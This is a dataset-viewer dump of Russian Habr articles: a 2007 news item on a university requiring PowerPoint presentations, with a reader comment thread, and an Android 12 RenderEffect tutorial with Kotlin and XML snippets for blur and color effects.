Search is not available for this dataset
id
uint32
2
716k
language
stringclasses
2 values
url
stringlengths
27
32
title
stringlengths
1
184
text_markdown
stringlengths
5
339k
text_html
stringlengths
53
429k
author
stringlengths
3
58
original_author
stringlengths
1
255
original_url
stringlengths
16
255
lead_html
stringlengths
5
27.2k
lead_markdown
stringlengths
5
26.7k
type
stringclasses
4 values
time_published
uint64
1.14B
1.68B
statistics
dict
labels
sequence
hubs
sequence
flows
sequence
tags
sequence
reading_time
uint32
1
127
format
stringclasses
11 values
complexity
stringclasses
3 values
comments
sequence
12,730
ru
https://habr.com/ru/post/12730/
Хочешь в университет — сделай презентацию
Абитуриенты, поступающие в Университет Чикаго, уже начиная с этой осени, будут обязаны, помимо сдачи основных экзаменов, представить четырехстраничные презентации в формате PowerPoint — на свободную тему. Частично новые требования связаны с тем, что PowerPoint становится одним из бизнес-инструментов, а кроме того, считают авторы инициативы, в презентации абитуриент сможет раскрыть свои новые качества, которые не смогут проявиться на традиционных экзаменах. Формат PowerPoint стал своего рода языком делового общения. Ежедневно, по оценкам Microsoft, в мире показывается порядка 30 млн презентаций. via AP
<div xmlns="http://www.w3.org/1999/xhtml">Абитуриенты, поступающие в Университет Чикаго, уже начиная с этой осени, будут обязаны, помимо сдачи основных экзаменов, представить четырехстраничные презентации в формате PowerPoint — на свободную тему.<br/> <br/> Частично новые требования связаны с тем, что PowerPoint становится одним из бизнес-инструментов, а кроме того, считают авторы инициативы, в презентации абитуриент сможет раскрыть свои новые качества, которые не смогут проявиться на традиционных экзаменах.<br/> <br/> Формат PowerPoint стал своего рода языком делового общения. Ежедневно, по оценкам Microsoft, в мире показывается порядка 30 млн презентаций.<br/> <br/> via <a href="http://news.yahoo.com/s/ap/20070731/ap_on_hi_te/business_schools_powerpoint">AP</a></div>
Юлия Благовещенская (skazala)
null
null
Абитуриенты, поступающие в Университет Чикаго, уже начиная с этой осени, будут обязаны, помимо сдачи основных экзаменов, представить четырехстраничные презентации в формате PowerPoint — на свободную тему.<br/> <br/> Частично новые требования связаны с тем, что PowerPoint становится одним из бизнес-инструментов, а кроме того, считают авторы инициативы, в презентации абитуриент сможет раскрыть свои новые качества, которые не смогут проявиться на традиционных экзаменах.<br/> <br/> Формат PowerPoint стал своего рода языком делового общения. Ежедневно, по оценкам Microsoft, в мире показывается порядка 30 млн презентаций.<br/> <br/> via <a href="http://news.yahoo.com/s/ap/20070731/ap_on_hi_te/business_schools_powerpoint">AP</a>
Абитуриенты, поступающие в Университет Чикаго, уже начиная с этой осени, будут обязаны, помимо сдачи основных экзаменов, представить четырехстраничные презентации в формате PowerPoint — на свободную тему. Частично новые требования связаны с тем, что PowerPoint становится одним из бизнес-инструментов, а кроме того, считают авторы инициативы, в презентации абитуриент сможет раскрыть свои новые качества, которые не смогут проявиться на традиционных экзаменах. Формат PowerPoint стал своего рода языком делового общения. Ежедневно, по оценкам Microsoft, в мире показывается порядка 30 млн презентаций. via AP
article
1,185,962,380
{ "commentsCount": 23, "favoritesCount": 1, "readingCount": 1542, "score": 7, "votesCount": 15, "votesCountPlus": 11, "votesCountMinus": 4 }
[]
[ "itcompanies" ]
[ "popsci" ]
[ "PowerPoint", "презентация", "абитуриенты", "институт", "университет", "бизн" ]
1
null
null
{ "id": [ 11653537, 11653539, 11653541, 11653543, 11653545, 11653547, 11653549, 11653551, 11653553, 11653555, 11653557, 11653559, 11653561, 11653563, 11653565, 11653567, 11653569, 11653571, 11653573, 11653575, 11653577, 11653579, 11653581 ], "parent_id": [ null, null, 11653537, null, 11653541, 11653541, 11653543, 11653545, null, 11653541, null, 11653555, null, 11653561, 11653559, 11653565, null, 11653567, 11653563, 11653571, 11653561, null, 11653579 ], "level": [ 0, 0, 1, 0, 2, 2, 1, 3, 0, 2, 0, 3, 0, 1, 4, 5, 0, 6, 2, 7, 1, 0, 1 ], "time_published": [ 1185963192, 1185963996, 1185967886, 1185969026, 1185969031, 1185969087, 1185971091, 1185972597, 1185976613, 1185977038, 1185978203, 1185978954, 1185979673, 1185980099, 1185980484, 1185980979, 1185982031, 1185985127, 1185996661, 1185999080, 1186019740, 1186055839, 1186056835 ], "score": [ -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0 ], "votes": [ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">А при чём здесь Microsoft, простите я не понял? Тот - же Open Office Impress прекрасно кушает презентации в формате PowerPoint.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Гады. Поддерживают этим собственническое, закрытое ПО ):</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кушать — кушает. А создавать?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вообще-то, речь идет, как сообщает Usa Today, не о конкретно о PowerPoint, а о \"slideware\" вообще как о классе программного обеспечения - так что Microsoft тут ни при чем.<br/>\r\n<br/>\r\nА делается это, согласно статье, с целью привлечь в университет побольше студентов обладающих талантами и умениями, необходимыми в современном бизнесе и поменьше \"технократов\".</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Создает. Только не очень понятно, почему кого-то обязывают пользоваться форматом, который не является стандартом и закрыт?<br/>\n<br/>\nЗЫ<br/>\n<br/>\nВСЕГДА даю презентации в PDF и это экономит мне время на несовместимости версий Powerpoint и наличии отсутствия шрифтов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну конечно же создаёт:<br/>\n<br/>\nOf course, you are free to use your old Microsoft PowerPoint presentations, or save your work in PowerPoint format for sending to people who are still locked into Microsoft products. Alternatively, use IMPRESS's built-in ability to create Flash (.swf) versions of your presentations.<br/>\n<br/>\n<br/>\nПричём под любой системой: Windows, Linux, MacOS....</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На этот счет есть хорошая статья: <a href=\"http://offline.computerra.ru/2007/688/320801/\">\"Компьютерра\" №20 от 01 июня 2007: Убойное приложение</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Никого ни к чему не обязывают: речь идет о любом продукте, умеющем создавать презентации.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">сделать презентацию PowerPoint - так же просто и естественно, как создать документ Word или Excel. не вижу, в чем могут возникнуть трудности :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И создает, и сохраняет и экспортирует в кучу форматов в том числе и в swf, pdf и представляете, даже в мелкософтовский (!) ppt. Кроме того, позволяет не только просматривать но и редактировать презентации созданные в Powerpoint. И тут у любой женщины должен возникнуть вопрос: \"А если стирает одинаково, то зачем платить больше?\"</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для тех, кто хочет попытать счастья на поприще составления эффективных пауэрпоинтовых презентаций есть замечательный гайд от Гая Кавасаки (в представлении не нуждающегося):<br/>\n<a href=\"http://www.masterviews.com/2006/08/08/guy_kawasaki_on_the_102030.htm\">знание английского — обязательно</a>.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сколько-нибудь серьезную презентацию в OpenOffice делать гиморно, к тому же в европе и америке существуют бесплатные компьютерные классы для абитуриентов и для поступающих, где офис установлен. Кроме того, офис 2007 для студентов и домашнего использования (Office Home and Student 2007) стоит 150 долларов, что не такая уж и большая цена, к тому же с этой цены вы можете списать налоги, как с вещей купленных по необходимости для работы/учебы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Забавно. У нас сочинения пишут, чтоб показать уровень владения письменным словом.<br/>\nУ них - четырехстраничные презентации на свободную тему - чтобы показать владение софтом, наверное.<br/>\nНу да, типа необходимо каждому. Не верю.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>У нас сочинения пишут, чтоб показать уровень владения письменным словом</blockquote><br/>\n..а не уровень владения ручкой, так?<br/>\nТогда почему вы думаете, что <br/>\n<blockquote>четырехстраничные презентации на свободную тему - чтобы показать владение софтом</blockquote><br/>\n..а не уровень владения навыками презентации<br/>\n?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что вы понимаете под серьезной презентацией и \"гимором\"? <br/>\nOpenOfficeImpress такой же инструмент как Powerpoint. Гимор - это дело практики. А серьезность презентации (или ее несерьезность) выражается в наличие у человека способностей грамотно и четко формулироровать мысли и идеи. Т.е. презентация - это не только файл с презентацией, но и умение правильно преподнести информацию.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Open Office Impress не тянет по уровню выше 97 офиса. Если нужны просто слайды, то вообще можно делать в чем угодно, и как выше сказали демонстрировать pdf файлы. Для мультимедийной презентации с видео, флэш, с показом, например, трехмерных химических формул, Impress слишком сырой</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я считаю наш спор бесполезным. Мы не договорились о понятиях. По всей видимости у Вас другие представления о программе для создания презентационных файлов чем у меня.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ваш упрек обоснован. Спасибо за поправку. Навыки презентации с использованием ПО - да.<br/>\nСочинение, будучи написанным самостоятельно, а не списанным как у нас часто принято, позволяет произвести оценку знаний и умений тестируемого по ряду критериев: 1) знание материала; 2) умение анализировать; 3) умение сформулировать собственные мысли по теме; 4) изложить их связным языком (фактически зафиксировать проговариваемый текст); 5) сделать это грамотно, то есть с соблюдением правил русского языка. Вот как много всего сразу.<br/>\nНавыки подготовки презентации плюс владение ПО позволяет установить описываемое испытание.<br/>\nЯзык визуальной передачи мыслей хорош. Я хотел подчеркнуть, что устная и письменная речь увядает. Людям все труднее грамотно и связно общаться в повседневной жизни. И развитие компьютерных технологий усугубляет этот процесс. Эпистолярный жанр умер, и электронная почта его не возродила. Блоги дают определенную надежду, но плевел гораздо больше зерен.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я не думаю что разные представления, просто для моих целей OpenOffice сырой... Наверно, слишком специфическая область применения - атомная силовая микроскопия для ничего в ней непонимающих химиков :)<br/>\nЗы. Жаль плюсы ставить еще не могу. Спасибо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сочинения тоже обязательны при поступлении в любой ВУЗ в США.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Речь же шла не о инструменте, а о формате. А PowerPoint - неплохой формат, что там говорить.<br/>\nВообще, микрософт делает хорошие программы (говорю даже несмотря на то, что уже пару месяцев, как целиком пересел на линукс)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ИМХО, единственное, что майкрософт делал действительно хорошо — это мыши.<br/>\n\"делал\" потому, что последние модели как-то тоже уже не фонтан, да и стандарт отрасли вырос.</div>" ], "message_markdown": [ "А при чём здесь Microsoft, простите я не понял? Тот - же Open Office Impress прекрасно кушает презентации в формате PowerPoint.", "Гады. Поддерживают этим собственническое, закрытое ПО ):", "Кушать — кушает. А создавать?", "Вообще-то, речь идет, как сообщает Usa Today, не о конкретно о PowerPoint, а о \"slideware\" вообще как о классе программного обеспечения - так что Microsoft тут ни при чем.\nА делается это, согласно статье, с целью привлечь в университет побольше студентов обладающих талантами и умениями, необходимыми в современном бизнесе и поменьше \"технократов\".", "Создает. Только не очень понятно, почему кого-то обязывают пользоваться форматом, который не является стандартом и закрыт?\nЗЫ\nВСЕГДА даю презентации в PDF и это экономит мне время на несовместимости версий Powerpoint и наличии отсутствия шрифтов.", "Ну конечно же создаёт:\nOf course, you are free to use your old Microsoft PowerPoint presentations, or save your work in PowerPoint format for sending to people who are still locked into Microsoft products. Alternatively, use IMPRESS's built-in ability to create Flash (.swf) versions of your presentations.\nПричём под любой системой: Windows, Linux, MacOS....", "На этот счет есть хорошая статья: \"Компьютерра\" No20 от 01 июня 2007: Убойное приложение", "Никого ни к чему не обязывают: речь идет о любом продукте, умеющем создавать презентации.", "сделать презентацию PowerPoint - так же просто и естественно, как создать документ Word или Excel. не вижу, в чем могут возникнуть трудности :)", "И создает, и сохраняет и экспортирует в кучу форматов в том числе и в swf, pdf и представляете, даже в мелкософтовский (!) ppt. Кроме того, позволяет не только просматривать но и редактировать презентации созданные в Powerpoint. И тут у любой женщины должен возникнуть вопрос: \"А если стирает одинаково, то зачем платить больше?\"", "Для тех, кто хочет попытать счастья на поприще составления эффективных пауэрпоинтовых презентаций есть замечательный гайд от Гая Кавасаки (в представлении не нуждающегося):\nзнание английского — обязательно.", "Сколько-нибудь серьезную презентацию в OpenOffice делать гиморно, к тому же в европе и америке существуют бесплатные компьютерные классы для абитуриентов и для поступающих, где офис установлен. Кроме того, офис 2007 для студентов и домашнего использования (Office Home and Student 2007) стоит 150 долларов, что не такая уж и большая цена, к тому же с этой цены вы можете списать налоги, как с вещей купленных по необходимости для работы/учебы.", "Забавно. У нас сочинения пишут, чтоб показать уровень владения письменным словом.\nУ них - четырехстраничные презентации на свободную тему - чтобы показать владение софтом, наверное.\nНу да, типа необходимо каждому. Не верю.", "> У нас сочинения пишут, чтоб показать уровень владения письменным словом\n..а не уровень владения ручкой, так?\nТогда почему вы думаете, что\n> четырехстраничные презентации на свободную тему - чтобы показать владение софтом\n..а не уровень владения навыками презентации\n?", "Что вы понимаете под серьезной презентацией и \"гимором\"?\nOpenOfficeImpress такой же инструмент как Powerpoint. Гимор - это дело практики. А серьезность презентации (или ее несерьезность) выражается в наличие у человека способностей грамотно и четко формулироровать мысли и идеи. Т.е. презентация - это не только файл с презентацией, но и умение правильно преподнести информацию.", "Open Office Impress не тянет по уровню выше 97 офиса. Если нужны просто слайды, то вообще можно делать в чем угодно, и как выше сказали демонстрировать pdf файлы. Для мультимедийной презентации с видео, флэш, с показом, например, трехмерных химических формул, Impress слишком сырой", "UFO just landed and posted this here", "Я считаю наш спор бесполезным. Мы не договорились о понятиях. По всей видимости у Вас другие представления о программе для создания презентационных файлов чем у меня.", "Ваш упрек обоснован. Спасибо за поправку. Навыки презентации с использованием ПО - да.\nСочинение, будучи написанным самостоятельно, а не списанным как у нас часто принято, позволяет произвести оценку знаний и умений тестируемого по ряду критериев: 1) знание материала; 2) умение анализировать; 3) умение сформулировать собственные мысли по теме; 4) изложить их связным языком (фактически зафиксировать проговариваемый текст); 5) сделать это грамотно, то есть с соблюдением правил русского языка. Вот как много всего сразу.\nНавыки подготовки презентации плюс владение ПО позволяет установить описываемое испытание.\nЯзык визуальной передачи мыслей хорош. Я хотел подчеркнуть, что устная и письменная речь увядает. Людям все труднее грамотно и связно общаться в повседневной жизни. И развитие компьютерных технологий усугубляет этот процесс. Эпистолярный жанр умер, и электронная почта его не возродила. Блоги дают определенную надежду, но плевел гораздо больше зерен.", "Я не думаю что разные представления, просто для моих целей OpenOffice сырой... Наверно, слишком специфическая область применения - атомная силовая микроскопия для ничего в ней непонимающих химиков :)\nЗы. Жаль плюсы ставить еще не могу. Спасибо.", "Сочинения тоже обязательны при поступлении в любой ВУЗ в США.", "Речь же шла не о инструменте, а о формате. А PowerPoint - неплохой формат, что там говорить.\nВообще, микрософт делает хорошие программы (говорю даже несмотря на то, что уже пару месяцев, как целиком пересел на линукс)", "ИМХО, единственное, что майкрософт делал действительно хорошо это мыши.\n\"делал\" потому, что последние модели как-то тоже уже не фонтан, да и стандарт отрасли вырос." ], "author": [ "Илья (elias)", "Максим (annihilator)", "Юлия Благовещенская (skazala)", "makc_de (makc_de)", "shaman007", "Илья (elias)", "Rafael Sepeda (Fade)", "makc_de (makc_de)", "annatern (annatern)", "Slabak (Slabak)", "Михаил Квакин (misha_kvakin)", "Kipren (Kipren)", "Idealist (Idealist)", "Илья Абламонов (flamefork)", "Slabak (Slabak)", "Kipren (Kipren)", "{}", "Slabak (Slabak)", "Idealist (Idealist)", "Kipren (Kipren)", "Макс Остапенко (Mclaud)", "Алексей (rasdol)", "Вася Кузнецов (kvas)" ], "children": [ [ 11653541 ], [], [ 11653545, 11653547, 11653555 ], [ 11653549 ], [ 11653551 ], [], [], [], [], [ 11653559 ], [], [ 11653565 ], [ 11653563, 11653577 ], [ 11653573 ], [ 11653567 ], [ 11653571 ], [], [ 11653575 ], [], [], [], [ 11653581 ], [] ] }
558,542
ru
https://habr.com/ru/post/558542/
То, чего нам так не хватало: Render Effect в Android 12
Иногда бывает нужно размыть задний план на экранах мобильного приложения, например в чате. Теперь это можно сделать всего парой строк кода. В Android 12 появился новый API Render Effect, который позволяет накладывать визуальные эффекты на Canvas или View. Этот API радует своей простотой и высокой скоростью отрисовки. Наибольший интерес представляет Render Effect для размытия (BlurEffect), но в этой статье мы затронем и остальные виды эффектов. Материал может быть полезен не только андроид-разработчикам, но и дизайнерам мобильных приложений. Итак, каким образом можно размыть задний план при отображении диалога? Раньше в Андроиде для этого надо было отрисовать все вью с заднего плана на bitmap-е и затем размыть его с помощью RenderScript или OpenGL. Но это означает, что в проекте появится немало запутанного для прочтения кода, либо придется подключить стороннюю библиотеку для размытия. Плюс добавятся обработчики событий отрисовки и код для получения битмапа. К тому же по производительности эти решения могут не давать желаемого результата. При использовании некоторых популярных библиотек для размытия разработчики замечают лаги, например, если есть RecyclerView, который содержит много BlurView. С помощью Render Effect мы можем всего парой строк кода реализовать блюр без лагов. Render Effect работает эффективно за счет того, что он использует Render Nodes (узлы отрисовки). Они образуют иерархию аппаратно ускоренной отрисовки, и эта отрисовка происходит с помощью GPU (графического процессора). Перерисовываться будут только те части UI, которые оказались в состоянии invalidated. Все вычисления для Render Effect выполняются в Render потоке и не блокируют UI. У Render Effect очень простой API: [code] val renderNode = RenderNode("myRenderNode") renderNode.setPosition(0, 0, 50, 50) renderNode.setRenderEffect(renderEffect) canvas.drawRenderNode(renderNode) [/code] Мы добавили эффект для RenderNode методом setRenderEffect(), и его отрисовка происходит в методе Canvas.drawRenderNode(). Можно применить Render Effect и к узлу отрисовки вьюшки: [code] imageView.setRenderEffect(renderEffect) [/code] Приведем пример создания эффекта: [code] val blurEffect = RenderEffect.createBlurEffect( 20f, //radiusX 20f, //radiusY Shader.TileMode.CLAMP ) imageView.setRenderEffect(blurEffect) [/code] Здесь мы создаем эффект размытия и применяем его к узлу отрисовки, привязанному к imageView. Задаем интенсивность размытия по оси X и оси Y (Значения 20f) . Последний аргумент – Shader.TileMode – определяет то, как будет выглядеть эффект на краях отрисовываемой области. Если применить размытие к корневому layout-у, то будут размыты все вьюшки: и кнопка, и ползунки. Варианты значений TileMode: MIRROR. Используются зеркальные отражения изображения по вертикали и горизонтали, при этом на границах нет резких переходов. CLAMP. Если shader выходит за пределы границ, используется цвет пикселей на границе. Выглядит практически также как MIRROR, но возможно незначительное искажение формы объектов возле границы. REPEAT. Изображение повторяется горизонтально и вертикально. На изображении заметно, как темная вода из нижней части изображения отразилась на верхней границе изображения. DECAL (появился в API 31). Отрисовка shader-а только в пределах границ. Можно заметить, что на границе изображение стало чуть светлее. Мы также можем применить размытие при создании тени. Конечно, можно просто создать тень с помощью свойства Elevation: [code] android:elevation="10dp" [/code] Однако, в этом случае мы не сможем задавать направление, в котором должна отбрасываться тень, или ее цвет. Также тень для Elevation по умолчанию работает только с формами скругленного прямоугольника (круг и прямоугольник – частные случаи прямоугольника со скругленными углами). Для тени другой формы нужно реализовать ViewOutlineProvider, чтобы он возвращал Outline с setPath(...), а это может быть весьма трудоемко. Кастомную тень можно создать и с помощью xml, прописав <shape> с градиентом: [code] <gradient android:type="radial" android:centerColor="#90000000" android:gradientRadius="70dp" android:startColor="@android:color/white" android:endColor="@android:color/transparent"/> [/code] Мы получили тень круглой формы, ложащуюся от белого круга одинаково во всех направлениях – то есть сверху она такой же длины, что и снизу. Но мы все же не сможем таким способом сделать тень сложной формы. Сначала для сравнения покажем, как можно реализовать аналогичную тень круглой формы с помощью RenderEffect. Создаем круг серого цвета: [code] <shape android:shape="oval"> <solid android:color="#CCCCCC" /> </shape> [/code] Затем этот drawable устанавливаем в качестве содержимого ImageView и применяем размытие к ImageView: [code] imageView.setImageResource(R.drawable.gray_circle) val renderEffect = RenderEffect.createBlurEffect(20f, 20f, Shader.TileMode.CLAMP) imageView.setRenderEffect(renderEffect) [/code] А вот как с помощью RenderEffect можно добиться тени произвольной формы и, если понадобится, произвольного цвета: [code] <ImageView android:id="@+id/shadow" android:layout_width="150dp" android:layout_height="150dp" android:src="@drawable/ic_baseline_time_to_leave_24" android:tint="#444444"/> [/code] [code] val effect = RenderEffect.createBlurEffect(10f, 10f, Shader.TileMode.CLAMP) imageViewfindViewById<ImageView>(R.id.shadow).setRenderEffect(effect) [/code] Если попробовать сделать размытие с разными значениями радиуса, например, 20 по горизонтали и 0 по вертикали, то получится эффект, похожий на смазанный снимок. Всего есть семь видов RenderEffect: Bitmap – отрисовывает содержимое битмапа. Обычно используется в цепочке для наложения последующих эффектов. Blur – размытие по оси X и Y. ColorFilter – применяется цветной фильтр (см. скриншот ниже). Offset – сдвиг по осям X, Y (жаль, что нет поворота). Shader – отрисовывает шейдер, переданный в аргументах. С помощью шейдеров можно создавать, например, различные градиенты. Chain – комбинация 2 эффектов. Результат отрисовки одного эффекта используется как источник для второго эффекта. BlendMode – для объединения 2 эффектов в определенном режиме. Можно добиться красивого эффекта “замерзшего стекла” (или “запотевшего окна”): он достигается сочетанием размытия и наложения прозрачно-белого цвета. Применим такой эффект к панели внизу экрана. Фактически здесь надо сочетать три эффекта: отрисовка битмапа + размытие + цветной фильтр. К сожалению, нельзя сделать так, чтобы размывалась та часть UI, которая отрисована под вьюшкой. Поэтому RenderEffect нужно применить не к самой панели, а к тому, что находится под ней и содержит фоновое изображение: к imageView или к корневому layout-у. Комбинировать эффекты можно 2 способами: передавать один эффект в параметр create-метода другого эффекта, либо использовать метод createChainEffect(): [code] val bmpEffect = RenderEffect.createBitmapEffect(...) val blurBmpEffect = RenderEffect.createBlurEffect(..., bmpEffect, ..) val finalEffect = RenderEffect.createColorFilterEffect(..., blurBitmapEffect) [/code] или [code] val finalEffect = RenderEffect.createChainEffect(colorEffect, blurEffect) [/code] Приведем пример наложения цветного фильтра: [code] val argb = Color.valueOf(red, green, blue, transparency).toArgb() val colorEffect = RenderEffect.createColorFilterEffect( PorterDuffColorFilter(argb, PorterDuff.Mode.SRC_ATOP) ) [/code] Результат: Или можно с помощью цветного фильтра поменять насыщенность изображения: [code] val matrix = ColorMatrix() matrix.setSaturation(0f) imageView.setRenderEffect(RenderEffect.createColorFilterEffect(ColorMatrixColorFilter(matrix))) [/code] Результат для setSaturation(0f) и setSaturation(100f): ### BlendMode С помощью метода RenderEffect.createBlendModeEffect() можно объединить два эффекта в одном из режимов: CLEAR SRC DST SRC_OVER DST_OVER SRC_IN DST_IN SRC_OUT DST_OUT SRC_ATOP DST_ATOP XOR PLUS MODULATE SCREEN OVERLAY DARKEN LIGHTEN COLOR_DODGE COLOR_BURN HARD_LIGHT SOFT_LIGHT DIFFERENCE EXCLUSION MULTIPLY HUE SATURATION COLOR LUMINOSITY Подробное описание режимов можно посмотреть здесь. Для примера приведем три режима (здесь источник, то есть первый RenderEffect – это синий квадрат, а приемник, то есть второй Render Effect – красный круг): DST_ATOP выбрасывает пиксели, которые не накладываются на источник. OVERLAY умножает цвета.COLOR сохраняет оттенок и насыщенность источника, а яркость делает как у приемника. Как уже упоминалось выше, RenderEffect работает крайне эффективно. При скролле RecyclerView с большим количеством элементов, у которых размыто по две ImageView (размытие с параметрами radiusX: 20f, radiusY: 20f, Shader.TileMode.CLAMP), никаких подтормаживаний не наблюдается. Размытие вью с анимацией тоже работает без задержек. В настоящий момент работа RenderEffect была проверена автором на эмуляторе Android 12 (API 31). Что касается поддержки RenderEffect API, можно надеяться, что она будет добавлена в библиотеке AndroidX для Android 10 и 11, так как Render Nodes, лежащие в основе RenderEffect, были добавлены в Android 10 (API level 29). Однако, как пишут в официальной документации, Render Effect могут поддерживать не все устройства: “Different Android devices may or may not support the feature due to limited processing power”. Отметим также, что Render Effect является одним из вариантов замены для RenderScript API, который устарел начиная с Android 12. ## Заключение Итак, в Android 12 мы получили то, чего так долго не хватало многим разработчикам – простой API для отрисовки визуальных эффектов. Сочетая простые эффекты (размытие, цветные фильтры, шейдеры), мы можем получать интересные графические результаты. При этом больше не нужно возиться с вытаскиванием bitmap-изображения, эффект можно просто повесить на вьюшку. А благодаря использованию RenderNodes, отрисовка RenderEffect работает очень быстро. Спасибо за внимание! Надеемся, что наш опыт был вам полезен.
<div xmlns="http://www.w3.org/1999/xhtml"><p>Иногда бывает нужно размыть задний план на экранах мобильного приложения, например в чате. Теперь это можно сделать всего парой строк кода. В Android 12 появился новый API <a href="https://developer.android.com/reference/android/graphics/RenderEffect"><u>Render Effect</u></a>, который позволяет накладывать визуальные эффекты на Canvas или View. Этот API радует своей простотой и высокой скоростью отрисовки. Наибольший интерес представляет Render Effect для размытия (BlurEffect), но в этой статье мы затронем и остальные виды эффектов. Материал может быть полезен не только андроид-разработчикам, но и дизайнерам мобильных приложений.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/1f2/9b4/2be/1f29b42bed7b7dc686fc518bd92731e8.png" alt="" title="" width="780" height="440" data-src="https://habrastorage.org/getpro/habr/upload_files/1f2/9b4/2be/1f29b42bed7b7dc686fc518bd92731e8.png"/><figcaption></figcaption></figure><p>Итак, каким образом можно размыть задний план при отображении диалога? Раньше в Андроиде для этого надо было отрисовать все вью с заднего плана на bitmap-е и затем размыть его с помощью RenderScript или OpenGL. Но это означает, что в проекте появится немало запутанного для прочтения кода, либо придется подключить стороннюю библиотеку для размытия. Плюс добавятся обработчики событий отрисовки и код для получения битмапа. К тому же по производительности эти решения могут не давать желаемого результата. При использовании некоторых популярных библиотек для размытия разработчики замечают лаги, например, если есть RecyclerView, который содержит много BlurView.</p><p>С помощью Render Effect мы можем всего парой строк кода реализовать блюр без лагов. Render Effect работает эффективно за счет того, что он использует <strong>Render Nodes</strong> (узлы отрисовки). Они образуют иерархию аппаратно ускоренной отрисовки, и эта отрисовка происходит с помощью GPU (графического процессора). Перерисовываться будут только те части UI, которые оказались в состоянии invalidated. Все вычисления для Render Effect выполняются в Render потоке и не блокируют UI. </p><p>У Render Effect очень простой API:</p><pre><code class="kotlin">val renderNode = RenderNode("myRenderNode") renderNode.setPosition(0, 0, 50, 50) renderNode.setRenderEffect(renderEffect) canvas.drawRenderNode(renderNode)</code></pre><p>Мы добавили эффект для RenderNode методом setRenderEffect(), и его отрисовка происходит в методе Canvas.drawRenderNode().</p><p>Можно применить Render Effect и к узлу отрисовки вьюшки:</p><pre><code class="julia">imageView.setRenderEffect(renderEffect)</code></pre><p>Приведем пример создания эффекта: </p><pre><code class="kotlin">val blurEffect = RenderEffect.createBlurEffect( 20f, //radiusX 20f, //radiusY Shader.TileMode.CLAMP ) imageView.setRenderEffect(blurEffect)</code></pre><p>Здесь мы создаем эффект <strong>размытия</strong> и применяем его к узлу отрисовки, привязанному к imageView. Задаем интенсивность размытия по оси X и оси Y (Значения 20f) . Последний аргумент – Shader.TileMode – определяет то, как будет выглядеть эффект на краях отрисовываемой области.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/e75/8d3/736/e758d3736b630448c22ababff576cee1.png" width="1498" height="1306" data-src="https://habrastorage.org/getpro/habr/upload_files/e75/8d3/736/e758d3736b630448c22ababff576cee1.png"/><figcaption></figcaption></figure><p>Если применить размытие к корневому layout-у, то будут размыты все вьюшки: и кнопка, и ползунки.</p><p>Варианты значений <a href="https://developer.android.com/reference/android/graphics/Shader.TileMode">TileMode</a>:</p><ul><li><p><strong>MIRROR</strong>.<strong> </strong>Используются зеркальные отражения изображения по вертикали и горизонтали, при этом на границах нет резких переходов. </p></li></ul><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/57c/c88/0ff/57cc880ff7f04b972863e3c386be4268.png" width="391" height="728" data-src="https://habrastorage.org/getpro/habr/upload_files/57c/c88/0ff/57cc880ff7f04b972863e3c386be4268.png"/><figcaption></figcaption></figure><ul><li><p><strong>CLAMP</strong>. Если shader выходит за пределы границ, используется цвет пикселей на границе. Выглядит практически также как MIRROR, но возможно незначительное искажение формы объектов возле границы. </p></li></ul><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/b36/ee6/47b/b36ee647b5984d4a5a3c4ff3cd4bb3af.png" width="386" height="726" data-src="https://habrastorage.org/getpro/habr/upload_files/b36/ee6/47b/b36ee647b5984d4a5a3c4ff3cd4bb3af.png"/><figcaption></figcaption></figure><ul><li><p><strong>REPEAT</strong>. Изображение повторяется горизонтально и вертикально. На изображении заметно, как темная вода из нижней части изображения отразилась на  верхней границе изображения.</p></li></ul><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/066/be5/bb8/066be5bb85b836a308faa2ba09ab5783.png" width="384" height="726" data-src="https://habrastorage.org/getpro/habr/upload_files/066/be5/bb8/066be5bb85b836a308faa2ba09ab5783.png"/><figcaption></figcaption></figure><ul><li><p><strong>DECAL</strong> (появился в API 31). Отрисовка shader-а только в пределах границ. Можно заметить, что на границе изображение стало чуть светлее. </p></li></ul><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/9d8/8d5/6cd/9d88d56cdee29683d48f03038941f98e.png" width="386" height="725" data-src="https://habrastorage.org/getpro/habr/upload_files/9d8/8d5/6cd/9d88d56cdee29683d48f03038941f98e.png"/><figcaption></figcaption></figure><p>Мы также можем применить размытие при создании <strong>тени</strong>. Конечно, можно просто создать тень с помощью свойства Elevation: </p><pre><code class="xml">android:elevation="10dp"</code></pre><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/7f6/a13/f1f/7f6a13f1fe448036cc275c2d6bc90360.png" width="510" height="294" 